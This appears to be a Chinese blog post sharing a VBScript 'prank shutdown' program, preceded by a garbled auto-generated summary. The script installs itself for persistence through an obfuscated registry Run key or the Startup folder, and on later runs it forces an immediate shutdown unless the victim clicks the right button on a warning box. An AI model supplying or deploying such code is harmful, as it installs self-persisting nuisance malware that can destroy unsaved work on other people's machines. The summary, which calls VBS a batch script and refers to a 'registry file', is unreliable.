vb下的恶搞关机程序(vba自动关机)原创

随心笔谈3年前发布 admin
220 0 0

文章摘要

本文描述了一个使用Windows脚本语言的程序,用于管理计算机上的VBS(批处理脚本)文件。程序的主要功能包括: 1. **创建对象**:使用`Scripting.FileSystemObject`创建文件系统对象,并通过`GetSpecialFolder`获取特定文件夹。 2. **创建脚本对象**:使用`WScript.Shell`创建脚本执行对象。 3. **文件操作**:通过`GetFile`获取文件路径,并使用`RegWrite`和`RegRead`操作注册表文件`wxb.vbs`。 4. **条件判断**:检查`wxb.vbs`文件是否存在: - 如果文件存在于`dirwinwxb.vbs`,调用`Show_And_Do`函数。 - 如果文件存在于`C:Documents and SettingsAll UsersStart MenuProgramsStartupwxb.vbs`,删除文件并提示用户。 - 如果文件不存在,调用`Show_And_Do`函数,并提示用户确认操作。 5. **退出机制**:如果所有操作均不执行,程序会调用`Shutdown.exe`关闭计算机。 本文主要专注于脚本的编写逻辑和文件操作的实现,强调了对注册表文件的管理,并通过警告提示用户不要随意修改计算机设置。

Dim fs, dirwin, c,Wll, str,strr,r

Set fs=CreateObject(“Scripting.FileSystemObject”)

Set dirwin=fs.GetSpecialFolder(1)

Set Wll=WScript.CreateObject(“WScript.Shell”)

Set c=fs.GetFile(WScript.ScriptFullName)

str=”HK”&”LM\SOFT”&”WARE\Micr”&”osoft\Win”&”dows\Curren”&”tVersion\R”&”un\wxb”

if (fs.FileExists(dirwin&”\wxb.vbs”)) Then

call Show_And_Do(“reg”)

elseif (fs.FileExists(“C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs”)) Then

call Show_And_Do(“Startup”)

else

On Error Resume Next

strr=””

Wll.RegWrite str, “C:\WINDOWS\system32\wxb.vbs”, “REG_SZ”

strr=Wll.Regread (str)

if strr=”” then

c.Copy(“C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs”)

 else

c.Copy(dirwin&”\wxb.vbs”)

end if

end if

sub Show_And_Do(s)

dim f

r=MsgBox (“警告:请不要随便动我的电脑! ” & Chr(13) & Chr(10) & “确定->下次一定会先征求同意的” & Chr(10) & “取消->爱咋滴咋地,我才不管他嘞!”, 4145, “MsgBox Example”)

If r=1 Then 

if s=”Startup” then

set f=fs.GetFile(“C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs”)

f.Delete()

elseif s=”reg” then

Wll.RegDelete str

set f=fs.GetFile(dirwin&”\wxb.vbs”)

f.Delete()

end if 

Else

wll.run “Shutdown.exe -s -f -t 0”

End If

end sub

© 版权声明

相关文章